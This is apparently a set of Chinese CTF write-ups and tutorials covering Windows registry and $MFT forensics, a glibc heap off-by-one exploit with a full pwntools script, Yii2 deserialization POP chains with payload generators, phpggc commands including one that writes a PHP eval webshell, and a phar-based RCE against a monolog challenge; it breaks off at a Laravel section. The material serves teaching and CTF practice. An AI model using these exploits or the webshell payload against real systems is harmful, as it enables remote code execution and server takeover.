打开SAM hive的分析报告文件,可以看到用户和用户组的详细信息
五、取证实战
来源:Cynet应急响应挑战赛
题目描述:Podrick 说在2020 年 2 月 3 日午餐时间(下午 12:00 左右),有一个恶意的 USB 设备插入了他的电脑。他还提到他看到他的一位同事——Theon G,手里拿着 USB设备离开了他的办公室。但Theon 声称他进入办公室是为了拜访 Aria(与Podrick在同一办公室)。见Aria不在,他便离开了办公室。Podrick没有锁屏的习惯,他怀疑Theon趁他不在的时候窃取了他的数据。
提示:1、检查Podrick的电脑;2、确定2020年2月3日,是否有USB设备连接到Podrick的PC?;3、提交可疑 USB 设备的Serial/UID
题目提供的文件是几个Hive文件
这些文件代表什么,在前面的小节中都已经介绍过了,除了Amcache.hve,这是Win8及更高版本的系统才有的。它存储与执行程序相关的信息,当用户执行某些操作(例如运行基于主机的应用程序、安装新应用程序或从外部设备运行便携式应用程序)时,它会记录程序相关的信息:如程序的创建时间、修改时间、名称、描述、程序厂商和版本、程序的执行路径、SHA-1哈希值等。即使程序从系统中删除,这些信息依然存在。
回到题目,我们要调查USB使用痕迹,根据前面的知识,我们需要分析SYSTEM这个Hive文件。
打开RegRipper工具,加载提供的SYSTEM文件,导出分析报告。
打开报告文件,通过搜索USBSTOR(这个key(SYSTEM\CurrentControlSet\Enum\USBSTOR)存储了任何曾经连接过系统的USB设备的产品信息和设备ID),可以找到有关USB设备的注册表信息。
通过查找和筛选比对,最终我们找到2020-12:12:32有一个USB设备插入了电脑,Serial/UID是: 4C530000281008116284
参考资料:
Registry Hives - Win32 apps | Microsoft Docs https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-hives
注册表 - 维基百科,自由的百科全书 https://zh.wikipedia.org/wiki/%E6%B3%A8%E5%86%8C%E8%A1%A8
regf/Windows registry file format specification.md at master · msuhanov/regf · GitHub https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md
本文涉及相关实验:FastIRCollector:https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016100814354600001 (FastIR Collector是一个Windows下的取证/信息收集工具,收集的东西揽括了所有你能想到的东西,不限于内存,注册表,文件信息等。本实验将介绍FastIR Collector在windows 7下的使用。)
Windows 取证之$MFT
一、什么是MFT
MFT,全称Master File Table,即主文件表,它是NTFS文件系统的核心。它是包含了NTFS卷中所有文件信息的数据库,在$MFT 中每个文件(包括MFT本身)至少有一个MFT,记录着该文件的各种信息。这些信息被称为属性。
NTFS使用MFT条目定义它们对应的文件,有关文件的所有信息,比如大小、时间、权限等都存在MFT条目中,或者由MFT条目描述存储在MFT外部的空间中。
MFT由一个个MFT项(也称为文件记录(File Record))组成,每个MFT项占用1024字节的空间。这个概念相当于Linux中的inode,File Record在$MFT文件中物理上是连续的,且从0开始编号,每个MFT项的前部几十个字节有着固定的头结构,用来描述本MFT项的相关信息。后面的字节存放着“属性”。(-via 百度百科)
二、MFT与数据恢复
在正常情况下,MTF条目会随着文件添加到NTFS卷中而增加,因此MFT的大小也会增加,当文件从NTFS卷中删除时,其MFT条目会被标记为free(空闲),以准备被重复使用,此条目会继续存在,直到它被新文件覆盖。但MFT所占空间大小不会因为删除文件而缩小。
例子:假如现在有100个MFT条目和一个文件X,现在删除文件X并立即创建500个以上文件,那么文件X的MFT条目将会被覆盖。虽然文件的内容可能存在与硬盘上,但包含名称、元数据等的MFT条目将被覆盖。
例子2:现在MFT有10000个条目,删除1000个文件和立即添加2个新文件。此时,可以恢复998个条目。不过文件的数据是否可以恢复得看它们是否已被覆盖。
这种文件数据和MFT条目分开的方式,会导致在删除操作后存在以下几种可能性:
1、文件被删除,但MFT条目和文件数据是100%可恢复的,则删除的文件可以100%被恢复。
2、文件被删除,MFT条目可恢复,但部分文件数据被覆盖,则该文件部分可被恢复。
3、文件被删除,MFT条目可恢复,但是文件数据被100%覆盖,则该文件不可恢复,但该文件相关属性信息(名称、日期、大小等信息)可被恢复。
4、文件被删除,MFT条目和文件数据100%可恢复,但文件已100%丢失,这种情况下。取证调查可以揭示该文件的大量信息,但不是通过MFT,而是使用其他证物。
5、文件被删除且MFT100%被覆盖,但文件数据未100%被覆盖。剩余的文件可以从磁盘上未分配的空间恢复。但雕刻数据的结果取决于碎片、可恢复数据的数量(可能是100%)和文件的性质。
当然,MFT被覆盖时,存在非100%被覆盖的情况,这种情况被称为MFT文件松弛,标准上来说,MFT条目被分配1024字节的固定空间。如果MFT条目小于1024字节。比如1000字节,则剩下为额外松弛空间。比如一个只有200字节长的密码文件,其文件数据也会被放置在MFT内,这种文件数据称为常驻数据。而文件名称、日期等元数据只占用大约500字节左右,如果删除了文件并在其位置创建了新的MFT条目,且不包括常驻数据。这意味着即使这个文件被删除,如果仔细检查也能恢复。
三、$MFT文件在取证中的应用
题目来源:Cynet应急响应挑战赛
题目描述:GOT公司的CTO在自己的笔记本上发现了可疑的活动。他说桌面上某些文件突然被移动了位置,而且其他文件似乎还在不合逻辑的日期被修改。他希望我们找出桌面上文件异常的相关证据。通过 一些技术检查,我们发现他是对的。桌面文件有明显的异常痕迹。请根据提供的$MFT文件找到与文件更改/修改相关的异常痕迹。
提示:1、找出受攻击者影响的文件名称及其原始创建时间。2、该文件位于桌面上。3、时间格式:DD-MM-YYYY HH:MM:SS ,文件名格式:filename.ext(ext是文件扩展名)
下载题目提供的文件
用Winhex打开可以查看其组成结构
我们可以通过$MFT解析软件把MFT条目导出来
Mft2Csvhttps://github.com/jschicht/Mft2Csv
下载打开软件,选择$MFT文件,然后导出到csv文件
导出的条目会以csv文件的形式存放在软件目录下
打开导出的csv文件,就可以看到文件的名称,日期,权限等各种信息
我们找到桌面上的相关文件
通过筛选,我们把要找的文件锁定在19个相关文件内容中
通过观察比较,发现其中一个文件时间有异常
0x0567DC00|GOOD|OK||88567|13|1|86832|1|Mod-File.txt|:\Users\DFIR\Desktop\Mod-File.txt|FILE|ALLOCATED|1|archive|archive|DOS+WIN32|0|2019-01-01 01:01:01.0000000|2019-01-01 01:01:01.0000000|2020-01-19 12:19:30.3933817|2019-01-01 01:01:01.0000000|0|2020-01-19 11:51:19.3290999|2020-01-19 11:51:25.8535572
上述项目对应的含义如下:
RecordOffset|Signature|IntegrityCheck|Style|HEADER_MFTREcordNumber|HEADER_SequenceNo|Header_HardLinkCount|FN_ParentReferenceNo|FN_ParentSequenceNo|FN_FileName|FilePath|HEADER_Flags|RecordActive|FileSizeBytes|SI_FilePermission|FN_Flags|FN_NameType|ADS|SI_CTime|SI_ATime|SI_MTime|SI_RTime|MSecTest|FN_C
在其文件日期修改日期和访问日期上都很不正常,都是2019-01-01 01:01:01.0000000,通过比较FN Info Creation date(FN_CTime)和Std Info Creation date(SI_CTime)发现两种时间不一致。(注:FN (FILE_NAME) ,SI (STANDARD_INFORMATION) );而$FN只能由内核级进程修改,攻击者想修改非常困难。
至此我们找出了被修改的文件是Mod-File.txt,文件的原始创建时间是19-01-2020 11:51:19
四、总结
攻击者利用的是Timestomp技术。Timestomp 是一种修改文件时间戳(修改,访问,创建和更改时间)的技术,通常用于模拟同一文件夹中的文件。该技术可以用在攻击者修改或创建的文件上,使得它们在取证调查人员或文件分析工具面前更加隐蔽。Timestomp 可以与文件名伪装(Masquerading)结合使用来隐藏恶意软件和工具。(https://attack.mitre.org/techniques/T1070/006/)
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016100813263000001 (本实验主要介绍 Linux 环境下的磁盘取证和内存取证工具的使用包括 Ftkimage、xmount、Volatility等。)
堆利用之Chunk extend Overlapping
漏洞简介
chunk extend overlapping在堆中是一种比较常见的利用手段,其主要原理就是因为某些意外情况我们可以去修改一些已经申请或在空闲状态的堆块的大小,从而造成堆块重叠的情况,而这也就引发了一系列安全隐患。
本文涉及相关实验:https://www.yijinglab.com/cour.do?w=1&c=CCID31b0-fe03-4277-8e2f-504c4960d33f (ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前,立即间接地执行精心挑选的指令或机器指令组。)
这里我将根据一道题来介绍这个漏洞的利用流程
例题:HITCON Trainging lab13
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看保护机制,开启canary与nx保护,因为题目给出源码所以我们直接对着源码进行分析
源码分析
void menu(){
puts("--------------------------------");
puts(" Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Show a Heap ");
puts(" 4. Delete a Heap ");
puts(" 5. Exit ");
puts("--------------------------------");
printf("Your choice :");
}
经典菜单题,根据我们输入的选项执行不同的功能
Create函数
我们先看一下Create函数
void create_heap(){
int i ;
char buf[8];
size_t size = 0;
for(i = 0 ; i < 10 ; i++){
if(!heaparray[i]){
heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
if(!heaparray[i]){
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0,buf,8);
size = atoi(buf);
heaparray[i]->content = (char *)malloc(size);
if(!heaparray[i]->content){
puts("Allocate Error");
exit(2);
}
heaparray[i]->size = size ;
printf("Content of heap:");
read_input(heaparray[i]->content,size);
puts("SuccessFul");
break ;
}
}
}
heaparray数组是声明的heap结构体数组,其中的内容如下所示
struct heap {
size_t size ;
char *content ;
};
首先create函数会先为heaparray中的每一个结构体元素分配一个0x10大小的内存,然后在对结构体中的content指针分配我们所指定的大小的内存,并执行read_input函数存放我们输入的内容
Edit函数
接下来继续往下看Edit函数
void edit_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Content of heap : ");
read_input(heaparray[idx]->content,heaparray[idx]->size+1);
puts("Done !");
}else{
puts("No such heap !");
}
}
edit函数会根据我们输入的索引去heaparray中寻找对应的结构体,需要注意的是这里的索引与数组一致都是从零开始,这里需要注意的是read_input函数在写入内容时共存入了size+1位,这也就造成了off-by-one漏洞,找到一个漏洞点。
Show函数
继续往下Show函数打印对应结构体中content中存放的内容
void show_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content);
puts("Done !");
}else{
puts("No such heap !");
}
}
Delete函数
而我们最后需要关注的就是
void delete_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
free(heaparray[idx]->content);
free(heaparray[idx]);
heaparray[idx] = NULL ;
puts("Done !");
}else{
puts("No such heap !");
}
}
在delete函数中它是先将content申请的内存free掉再free的结构体内存,我们后面进行漏洞利用时这里会用到
漏洞利用
我们这里的利用思路是:
1、利用off by one漏洞完成堆重叠并构建含有/bin/sh的堆块
2、泄露出free函数并计算出libc基地址与system地址
3、覆盖free函数的got表中的地址为system地址
4、free掉包含/bin/sh的堆块,获取shell
我们先构造exp中上述代码对应的功能函数
def menu(index):
p.sendlineafter("Your choice :", str(index))
def Create(heap_size, content):
menu(1)
p.sendlineafter("Size of Heap : ", str(heap_size))
p.sendlineafter("Content of heap:", content)
def Edit(index, content):
menu(2)
p.sendlineafter("Index :", str(index))
p.sendlineafter("Content of heap : ", content)
def Show(index):
menu(3)
p.sendlineafter("Index :", str(index))
def Free(index):
menu(4)
p.sendlineafter("Index :", str(index))
1、利用off-by-one完成extend overlapping
在源码中我们发现了其存在off by one漏洞,我们就利用这个漏洞完成对堆块的extend overlapping
使用pwndbg对程序进行调试
--------------------------------
Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Show a Heap
4. Delete a Heap
5. Exit
--------------------------------
Your choice :1
Size of Heap : 24
Content of heap:content1
SuccessFul
--------------------------------
Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Show a Heap
4. Delete a Heap
5. Exit
--------------------------------
Your choice :1
Size of Heap : 16
Content of heap:content2
SuccessFul
首先我们创建两个heap,然后ctrl+c,使用heap指令查看当前堆的状态
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x251
//struct1
Allocated chunk | PREV_INUSE
Addr: 0x603250
Size: 0x21
//struct1->content
Allocated chunk | PREV_INUSE
Addr: 0x603270
Size: 0x21
//stuct2
Allocated chunk | PREV_INUSE
Addr: 0x603290
Size: 0x21
//struct2->content
Allocated chunk | PREV_INUSE
Addr: 0x6032b0
Size: 0x21
//top chunk
Top chunk | PREV_INUSE
Addr: 0x6032d0
Size: 0x20d31
这些便是我们申请的内存,查看内存信息
pwndbg> x/20gx 0x603250
0x603250: 0x0000000000000000 0x0000000000000021
0x603260: 0x0000000000000018 0x0000000000603280
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x31746e65746e6f63 0x000000000000000a
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000010 0x00000000006032c0
0x6032b0: 0x0000000000000000 0x0000000000000021
0x6032c0: 0x32746e65746e6f63 0x000000000000000a
0x6032d0: 0x0000000000000000 0x0000000000020d31
从地址到高地址依次是
0x603250-0x603268 heap_struct1申请的内存
0x603270-0x603288 heap_stuct1->content申请的内存
0x603290-0x6032a8 heap_struct2申请的内存
0x6032b0-0x6032c8 heap_struct2->content申请的内存
而它们的存储对应了系统中堆块的构造
我们拿第一个堆块进行说明
0x603250中存放的是其前一个堆块的大小(prev_size)
0x603258中存放的是当前堆块的大小(size)
0x603260-0x603268便是heap_struct1结构体存放的位置
特别的是当堆块的前一个堆块处于使用状态时,会被当前堆块size的最低位记为1,并且prev_size也会作为可利用内存供前一个堆块去存储数据。说到这里也就可以解释为什么size的大小是0x21了,在64位程序下,prev_size与size各占8字节大小,再加上data域的0x10,一共就是0x10+0x8+0x8=0x20,而因为当前堆块的size域中用来记录前一个堆块使用状态的P位被置一了,所以我们要再加1,所以最后存放在size域中的值是0x21。
继续回到漏洞利用,当我们创建完这4个堆块后(两个struct两个content),在执行Edit函数时,因为off-by-one漏洞的缘故,我们共可以输入size+1位字符,而当我们选择Edit的对象是content1时,因为堆是连续的,我们就可以覆盖掉struct2的一位字节,根据上面对于堆块的介绍,如果我们覆盖的是当前堆块的size时,就会造成extend,进而触发新的漏洞利用。
继续执行程序,因为我们content1申请了24的内存,所以这里我们输入25个字符。
查看堆中情况,发现因为off-by-one的缘故我们已经成功覆盖掉struct2的size域,而我们想要达到的目的是控制struct2以及struct2->content的内存,所以这里我们将数覆盖为0x41,及'A'的ASCII码值,对应exp如下所示:
Create(24, "content1")
Create(16, "content2")
binsh = "/bin/sh\x00"
Edit(0, binsh.ljust(25, "A"))
这里将填充位改为使用"/bin/sh"是为了我们后续获取shell时用到
接下来我们需要free掉heap2(struct2跟struct->content)
free(heaparray[idx]->content);
free(heaparray[idx]);
根据堆中bins的规则我们当前free的chunk会被回收到tcache中,而源码中我们是先free的struct->content再free的struct,而如果我们这时再申请一个堆块(记作struct3),那么struct3申请的内存区域就会是struct2->content刚刚free的内存区域,并且当我们令struct3->content所申请的内存大小为0x30时,经过我们extend后的struct2的内存区域就会被struct3->content使用。
我们用gdb调试free后新创建一个堆块的内存的布局
Free(1)
Create(0x30, "content3")
可以看到我们这里已经成功完成了extend overlapping,并且都被存放在了tcache中,继续执行程序
可以看到原先空闲的块已经被使用了,我们再来看看里面存的内容
可以看到这里我们已经成功创建了struct3与struct3->content的内存,这样看可能不是很明显,我在这里详细说明一下
0x22d5290-0x22d52c8 是struct3->content的内存区域
0x22d52b0-0x22d52c8 是struct3的结构体申请的内存区域
0x22d52d0-0x22d52d8 是arena的所属内存区域(即top chunk)
可以看出struct3的结构体内存区域是被包含在struct3->content的内存区域中的,而我们又可以通过Edit函数来对struct3->content的内存区域进行写入操作,那么我们现在所需要做的事情就是下面几步
1、泄露free函数got表中的真实地址
2、通过free函数的真实地址计算出libc基地址和system地址
3、将free_got中的地址替换为system函数的真实地址
4、获取shell
2、泄露free函数&&计算libc基地址与system地址
要达到这步我们现在只需要通过edit函数将struct3结构体中content指针的地址改为free_got的地址,并使用show函数打印出真实地址即可
对应exp如下所示
Edit(1, p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got))
Show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("free addr: 0x%x"%free_addr)
而我们当有了free函数的基地址,就能求出libc与system的地址了
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success('system addr: ' + hex(system_addr))
效果如下图所示
3、获取shell
到现在为止我们获取shell的所有必要条件都完成了,最后只需要修改掉free_got中的真实地址为system的地址即可。因为前面我们已经将struct结构体中的content指针地址修改为了free_got的地址,所有这里我们只需要通过Edit函数对其中的内容进行修改即可,修改完成后我们执行free函数也就等同于执行system函数,而在前面我们已经构建了一个包含"/bin/sh"的chunk(struct1->content),也就是说我们只要free掉struct1->content就可以完成漏洞利用获得shell
对应exp如下所示
Edit(1, p64(system_addr))
Free(0)
然后我们就能执行system("/bin/sh")获得shell
完整exp如下所示
from pwn import *
import time
def menu(index):
p.sendlineafter("Your choice :", str(index))
def Create(heap_size, content):
menu(1)
p.sendlineafter("Size of Heap : ", str(heap_size))
p.sendlineafter("Content of heap:", content)
def Edit(index, content):
menu(2)
p.sendlineafter("Index :", str(index))
p.sendlineafter("Content of heap : ", content)
def Show(index):
menu(3)
p.sendlineafter("Index :", str(index))
def Free(index):
menu(4)
p.sendlineafter("Index :", str(index))
def debug():
gdb.attach(p)
p = process('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./heapcreator')
free_got = elf.got['free']
Create(24, "content1")
Create(16, "content2")
binsh = "/bin/sh\x00"
Edit(0, binsh.ljust(25, "A"))
Free(1)
Create(0x30, "content3")
Edit(1, p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got))
Show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("free addr: 0x%x"%free_addr)
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success('system addr: ' + hex(system_addr))
Edit(1, p64(system_addr))
debug()
Free(0)
p.interactive()
参考链接
https://blog.csdn.net/qq_41202237/article/details/108320408?fileGuid=6cwyDXdtXXk6t8Jvhttps://blog.csdn.net/weixin_43921239/article/details/107841328?fileGuid=6cwyDXdtXXk6t8Jv
通过几道CTF题学习yii2框架
简介
Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2利用链以及如何自己去构造payload,并结合CTF题目去学习yii2框架
Yii2<2.0.38反序列化
安装:在 https://github.com/yiisoft/yii2/releases 下载2.0.37的版本
然后在 yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值,运行 php yii serve,新建一个控制器
yii-basic-app-2.0.37\basic\controllers\TestController.php
<?php
namespace app\controllers;
use yii\web\Controller;
class TestController extends Controller{
public function actionTest($name){
return unserialize($name);
}
}
就可以进行测试了
?r=test/test&name=
链一
链的入口在
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
跟进$this->reset();
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
这里的$this->_dataReader可控,并调用了close()方法,那么可以找到一个类不存在close()方法,但存在__call方法就可以调用他了
在yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
这里的$method为close,$attributes为空,继续跟进format
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
跟进getFormatter
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
似曾相识的代码,laravel5.8某条链就出现过,这里$this->formatters可控,也就是$this->getFormatter($formatter)这这个可控,但是$arguments的值我们无法控制,值为空
到这里可以执行phpinfo了
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace {
$a = new Faker\Generator(array('close'=>'phpinfo'));
$b = new yii\db\BatchQueryResult($a);
print(urlencode(serialize($b)));
}
但是我们想要rce的话,还要在yii2中已有的无参方法中进行挖掘
这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数
call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
然后找到下面两个都比较好用
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
这里的$this->checkAccess和$this->id都是我们可控的
所以直接构造就行了
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('close'=>array($c, 'run')));
$a = new yii\db\BatchQueryResult($b);
print(urlencode(serialize($a)));
}
链二
这个是yii2 2.0.37的另外一条链
起点和链一相同,是BatchQueryResult类的__destruct,然后是$this->_dataReader->close(),但是这里不找__call,我们去找存在close方法的类
找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php
class DbSession extends MultiFieldSession
{
...
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
这里跟进$this->composeFields()
abstract class MultiFieldSession extends Session
{
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
这里$this->writeCallback可控,$this是一个对象,所以这里调phpinfo的话应该不行,不过可以续上链一的run方法(即那个无参的方法)
这里直接构造即可
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace yii\web{
class DbSession{
public $writeCallback;
public function __construct($writeCallback) {
$this->writeCallback = $writeCallback;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new yii\web\DbSession(array($c, 'run'));
$a = new yii\db\BatchQueryResult($b);
print(urlencode(serialize($a)));
}
链三
我们可以在yii2 2.0.38的commit看到他加了一个__wakeup
这里限制了链一的起点BatchQueryResult无法使用,后面的__call的链没有被破坏,所以我们继续寻找一个__destruct
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php
public function __destruct()
{
$this->stopProcess();
}
这里继续跟进stopProcess
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
这里的$this->processes可控,所以可以利用$process->isRunning()来进行触发__call
后面的利用就和链一相同了
<?php
namespace Codeception\Extension{
class RunProcess{
private $processes = [];
public function __construct($processes) {
$this->processes[] = $processes;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('isRunning'=>array($c, 'run')));
$a = new Codeception\Extension\RunProcess($b);
print(urlencode(serialize($a)));
}
链四
同样的先找__destruct
yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
这里$nsKey可控,跟进clearAll
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}
这里没有触发__call的地方,但是存在字符串的拼接,可以触发__toString
随便找找就找到了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php
public function __toString()
{
return $this->__dom__->saveXML();
}
同样用他去触发__call
<?php
namespace {
class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys = [];
public function __construct($path,$keys) {
$this->path = $path;
$this->keys = $keys;
}
}
}
namespace Codeception\Util{
class XmlBuilder{
protected $__dom__;
public function __construct($__dom__) {
$this->__dom__ = $__dom__;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('saveXML'=>array($c,'run')));
$a = new Codeception\Util\XmlBuilder($b);
$d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi'));
print(urlencode(serialize($d)));
}
phpggc
使用./phpggc -l yii2可以看到有两条yii2的链
可以使用如下命令快速得到链,-u指url编码
./phpggc Yii2/RCE1 system id -u
phpggc的链二的终点是一个eval,所以这里可以直接写shell,-b指base64编码
./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b
CTF题目
[HMBCTF 2021]framework
把题目附件解压,看到html\controllers\SiteController.php
class SiteController extends Controller
{
public function actionAbout($message = 'Hello')
{
$data = base64_decode($message);
unserialize($data);
}
这里可以这样传参
?r=site/about&message=
拿链一打了一下,发现一下system等函数被ban
这里用phpggc yii2的链二写一个shell进去,然后用蚁剑的 apache/mod 绕 disable,运行 /readflag 即可获取 flag
[CISCN2021 Quals]filter
据说这是配置文件里面的重要内容,或许对你有用!!
'log' => [
'traceLevel' => YII_DEBUG ? 0 : 0,
'targets' => [
[
'class' => 'yii\log\FileTarget',
'levels' => ['error'],
'logVars' => [],
],
],
],
看到附件的SiteController.php就改了这个地方
public function actionIndex()
{
$file = Yii::$app->request->get('file');
$res = file_get_contents($file);
file_put_contents($file,$res);
return $this->render('index');
}
yii框架的runtime/logs目录下有一个app.log
看一下依赖发现monolog符合
"require": {
"php": ">=5.6.0",
"yiisoft/yii2": "~2.0.14",
"yiisoft/yii2-bootstrap": "~2.0.0",
"yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0",
"monolog/monolog":"1.19"
},
首先清空日志文件
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
phpggc生成
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
写入日志,注意最后面要加个字符a
/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=0
保留phar的内容
/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
最后用phar协议打一下
/?file=phar://../runtime/logs/app.log/test.txt
然后在根目录找到This_is_flaaagggg
然后用这个找一下flag即可
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
通过几道CTF题学习Laravel框架
Laravel5.8.x反序列化POP链
安装:其中--prefer-dist表示优先下载zip压缩包方式
composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8
在路由文件routes/web.php中添加
Route::get('/foo', function () {
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Test laravel5.8 pop";
});
然后在public目录起一个php服务就可以进行测试了
cd /public
php -S 0.0.0.0:port
/foo?c=
链一
